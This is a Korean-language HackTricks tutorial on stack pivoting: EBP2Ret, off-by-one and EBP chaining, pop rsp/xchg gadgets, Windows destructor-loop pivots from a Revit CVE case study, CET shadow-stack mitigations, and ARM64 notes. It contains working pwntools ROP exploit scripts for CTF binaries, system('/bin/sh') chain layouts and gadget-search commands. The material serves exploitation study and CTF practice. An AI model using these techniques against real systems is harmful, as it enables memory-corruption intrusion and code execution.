Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
기본 정보
이 기법은 frame pointer의 세심한 활용과 leave; ret 명령 시퀀스를 통해 여러 함수의 실행을 연결하기 위해 Base Pointer (EBP/RBP) 를 조작할 수 있는 능력을 악용합니다.
참고로, x86/x86-64에서 leave 은 다음과 동일합니다:
mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret
그리고 저장된 EBP/RBP가 저장된 EIP/RIP보다 스택에서 앞에 있기 때문에, 스택을 제어하면 이를 제어할 수 있다.
Notes
- 64-bit에서는 EBP→RBP와 ESP→RSP로 대체한다. 의미는 동일하다.
 - 일부 컴파일러는 프레임 포인터를 생략한다 (see “EBP might not be used”). 그 경우
 leave가 없을 수 있어 이 기법은 작동하지 않는다.
EBP2Ret
이 기법은 저장된 EBP/RBP는 변경할 수 있지만 EIP/RIP을 직접 변경할 수 없는 경우에 특히 유용하다. 함수 epilogue 동작을 이용한다.
만약 fvuln 실행 중 스택에 공격자가 조작한 fake EBP를 주입해서, 그 EBP가 shellcode/ROP 체인 주소가 저장된 메모리 영역(amd64에서 pop을 고려한 +8바이트, x86에서는 +4바이트)을 가리키게 만들면, RIP을 간접적으로 제어할 수 있다. 함수가 리턴하면 leave가 RSP를 조작한 위치로 설정하고 이어지는 pop rbp가 RSP를 감소시켜 결과적으로 RSP가 공격자가 그곳에 저장한 주소를 가리키게 된다. 그런 다음 ret은 그 주소를 사용하게 된다.
여기서 두 개의 주소를 알아야 한다: ESP/RSP가 가리키게 될 주소, 그리고 ret이 소비할 해당 주소에 저장된 값.
Exploit Construction
우선 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 한다. RSP가 여기로 설정되고 첫 번째 ret을 소비하게 된다.
그 다음, 제어를 이전할 ret이 사용할 주소를 선택해야 한다. 다음을 사용할 수 있다:
- 유효한 ONE_GADGET 주소.
 - 적절한 리턴과 인수를 포함한 **
system()**의 주소 (x86의 경우:ret대상 =&system, 그 다음 4바이트 junk, 그 다음&"/bin/sh"). - 인라인 shellcode가 뒤따르는 
jmp esp;가젯의 주소 (ret2esp). - 쓰기 가능한 메모리에 스테이지된 ROP 체인.
 
컨트롤된 영역에서 이 주소들 앞에는 leave에서 실행되는 pop ebp/rbp를 위한 공간(amd64에서는 8B, x86에서는 4B)이 있어야 한다. 이 바이트들을 악용해 두 번째 fake EBP를 설정하고 첫 번째 호출이 리턴한 이후에도 제어를 유지할 수 있다.
Off-By-One Exploit
저장된 EBP/RBP의 최하위 바이트만 수정할 수 있는 경우에 사용하는 변형이 있다. 이런 경우 ret로 점프할 주소를 저장하는 메모리 위치는 1바이트 덮어쓰기로 리다이렉트가 가능하도록 원래 EBP/RBP와 앞의 3바이트/5바이트를 공유해야 한다. 보통 낮은 바이트(offset 0x00)를 증가시켜 인근 페이지/정렬된 영역 내에서 가능한 멀리 점프하도록 한다.
또한 스택에 RET sled를 두고 실제 ROP 체인을 끝에 배치해 새 RSP가 sled 안을 가리킬 가능성을 높이고 최종 ROP 체인이 실행되도록 하는 것이 일반적이다.
EBP Chaining
스택의 저장된 EBP 슬롯에 제어 가능한 주소를 넣고 EIP/RIP에 leave; ret 가젯을 두면 ESP/RSP를 공격자가 제어하는 주소로 이동시키는 것이 가능하다.
이제 RSP가 제어되고 다음 명령은 ret이다. 제어된 메모리에는 다음과 같은 내용을 넣어라:
&(next fake EBP)->leave에서의pop ebp/rbp가 로드한다.&system()->ret에 의해 호출된다.&(leave;ret)->system이 끝난 후 RSP를 다음 fake EBP로 이동시키고 계속 진행한다.&("/bin/sh")->system에 대한 인수.
이렇게 여러 개의 fake EBP를 체인해 프로그램의 흐름을 제어할 수 있다.
이는 ret2lib와 유사하지만 더 복잡하고 특정 엣지 케이스에서만 유용하다.
또한, 여기 이 기법을 stack leak과 함께 사용해 승리 함수를 호출하는 example of a challenge가 있다. 다음은 그 페이지의 최종 페이로드이다:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)
payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 정렬 팁: System V ABI는 호출 지점에서 16바이트 스택 정렬을 요구합니다. 체인이
system같은 함수를 호출한다면, 정렬을 유지하고movaps충돌을 피하기 위해 호출 전에 정렬 가젯(예:ret또는sub rsp, 8 ; ret)을 추가하세요.
EBP는 사용되지 않을 수 있음
As explained in this post, 바이너리가 일부 최적화나 프레임 포인터 생략(frame-pointer omission)으로 컴파일되면, EBP/RBP는 ESP/RSP를 절대 제어하지 않습니다. 따라서 EBP/RBP를 제어하여 동작하는 모든 exploit은 실패합니다. 그 이유는 프롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문입니다.
- 최적화되지 않음 / 프레임 포인터 사용:
 
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
- 최적화됨 / 프레임 포인터 생략:
 
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return
amd64에서는 종종 leave ; ret 대신 pop rbp ; ret를 보게 됩니다. 하지만 프레임 포인터가 완전히 생략되면 rbp-기반 epilogue를 통해 pivot할 수 없습니다.
Other ways to control RSP
pop rsp gadget
In this page에서 이 기법을 사용한 예제를 확인할 수 있습니다. 그 챌린지에서는 2개의 특정 인자를 가진 함수를 호출해야 했고, pop rsp gadget가 있었으며 스택으로부터의 leak이 있었습니다:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15
# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A')     # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget 
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp 기법은 여기에서 확인하세요:
pivot gadgets 빠르게 찾기
선호하는 gadget finder를 사용해 고전적인 pivot primitives를 검색하세요:
leave ; ret함수나 라이브러리에서pop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(또는 x86에서는add esp, <imm> ; ret)
예시:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
클래식 pivot staging 패턴
많은 CTFs/exploits에서 사용되는 견고한 pivot 전략:
- 작은 초기 overflow를 이용해 
read/recv를 호출하여 크고 쓰기 가능한 영역(예:.bss, heap, 또는 mapped RW memory)에 전체 ROP chain을 배치한다. - 해당 영역으로 RSP를 옮기기 위해 pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret)으로 리턴한다. - 스테이지된 체인을 이어간다(예: leak libc, 
mprotect호출, 이후 shellcode를read로 읽어 점프). 
Windows: Destructor-loop weird-machine pivots (Revit RFA 사례 연구)
클라이언트 측 파서는 때때로 공격자가 제어하는 객체 필드에서 유도된 함수 포인터를 간접 호출하는 destructor loop를 구현한다. 각 반복이 정확히 하나의 간접 호출(“one-gadget” machine)을 제공한다면, 이를 신뢰할 수 있는 stack pivot과 ROP 진입으로 전환할 수 있다.
Autodesk Revit RFA deserialization에서 관찰됨 (CVE-2025-5037):
- 타입이 
AString인 조작된 객체는 offset 0에 공격자 바이트를 가리키는 포인터를 둔다. - destructor loop는 사실상 객체당 하나의 gadget을 실행한다:
 
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object
두 가지 실용적 피벗:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget”가 
8B E0→mov esp, eax를 포함하고, 결국ret로 끝나며 call primitive에서 heap 기반 ROP 체인으로 피벗합니다. - Windows 11 (full 64-bit addrs): 두 객체를 사용해 constrained weird-machine pivot을 구동합니다:
 - Gadget 1: 
push rax ; pop rbp ; ret(원래 rax를 rbp로 이동) - Gadget 2: 
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), 첫 번째 객체의 버퍼로 피벗하여 그곳에서 기존의 ROP 체인이 이어집니다. 
Windows x64에서 피벗 후 팁:
- 0x20-byte shadow space를 준수하고 
call지점 이전에 16-byte 정렬을 유지하세요. 리터럴을 return address 위에 배치하고lea rcx, [rsp+0x20] ; call rax같은 가젯을 사용한 뒤pop rax ; ret로 스택 주소를 전달하면 제어 흐름을 망치지 않으면서 편리합니다. - Non-ASLR helper modules(존재할 경우)는 안정적인 가젯 풀과 
LoadLibraryW/GetProcAddress같은 import를 제공하여ucrtbase!system같은 대상들을 동적으로 해석할 수 있게 합니다. - writable thunk을 통한 누락된 가젯 생성: 유망한 시퀀스가 writable function pointer를 통한 
call로 끝난다면(예: DLL import thunk 또는 .data의 함수 포인터), 해당 포인터를pop rax ; ret같은 무해한 단일 스텝으로 덮어쓰세요. 그러면 시퀀스는ret로 끝나는 것처럼 동작합니다(예:mov rdx, rsi ; mov rcx, rdi ; ret). 이는 다른 레지스터를 훼손하지 않고 Windows x64 인자 레지스터를 로드하는 데 매우 유용합니다. 
전체 체인 구성 및 가젯 예시는 아래 참조를 보세요.
stack pivoting을 방해하는 현대적 완화책 (CET/Shadow Stack)
현대 x86 CPU와 OS는 점점 더 **CET Shadow Stack (SHSTK)**을 도입합니다. SHSTK가 활성화되면 ret는 일반 스택의 반환 주소를 하드웨어로 보호되는 shadow stack의 값과 비교하며, 불일치가 있으면 Control-Protection fault를 발생시켜 프로세스를 종료합니다. 따라서 EBP2Ret/leave;ret 기반의 pivots 같은 기술은 피벗된 스택에서 첫 ret이 실행되는 즉시 충돌합니다.
- 배경 및 자세한 내용은 다음을 참조:
 
- Linux에서의 빠른 점검:
 
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
- 
Notes for labs/CTF:
 - 
일부 최신 배포판은 하드웨어와 glibc 지원이 있을 때 CET 지원 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 할 경우, 시스템 전체에서 SHSTK는 커널 부팅 파라미터
nousershstk로 비활성화할 수 있고, 시작 시 glibc tunables를 통해 선택적으로 활성화할 수 있습니다(참조 참조). 운영 대상에서 완화 기능을 비활성화하지 마세요. - 
JOP/COOP 또는 SROP 기반 기법은 일부 타겟에서 여전히 유효할 수 있지만, SHSTK는 특히
ret기반 pivot을 깨뜨립니다. - 
Windows note: Windows 10+는 user-mode를 노출하고 Windows 11은 shadow stacks를 기반으로 하는 kernel-mode “Hardware-enforced Stack Protection”을 추가합니다. CET 호환 프로세스는
ret에서의 stack pivoting/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 옵트인합니다(참조). 
ARM64
In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP register in the stack. Moreover, the RET instruction doesn't return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
 
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
- epilogue
 
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64에서 stack pivoting과 유사한 동작을 수행하려면 SP를 제어할 수 있어야 합니다(어떤 레지스터의 값이 SP로 전달되도록 해당 레지스터를 제어하거나, SP가 스택에서 주소를 취하고 있고 overflow가 발생하는 경우 등). 그런 다음 epilogue를 악용하여 제어된 SP에서 x30 레지스터를 로드하고 RET 하여 그 주소로 이동해야 합니다.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
 - https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
 - https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
 - 64 bits, off by one exploitation with a rop chain starting with a ret sled
 - https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
 - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing 
.fini_arrayentries + calling__libc_csu_fini(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK, 
nousershstk,/proc/$PID/statusflags, and enabling viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
 - Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
 
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: 
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: 
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
 - **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
 - HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
HackTricks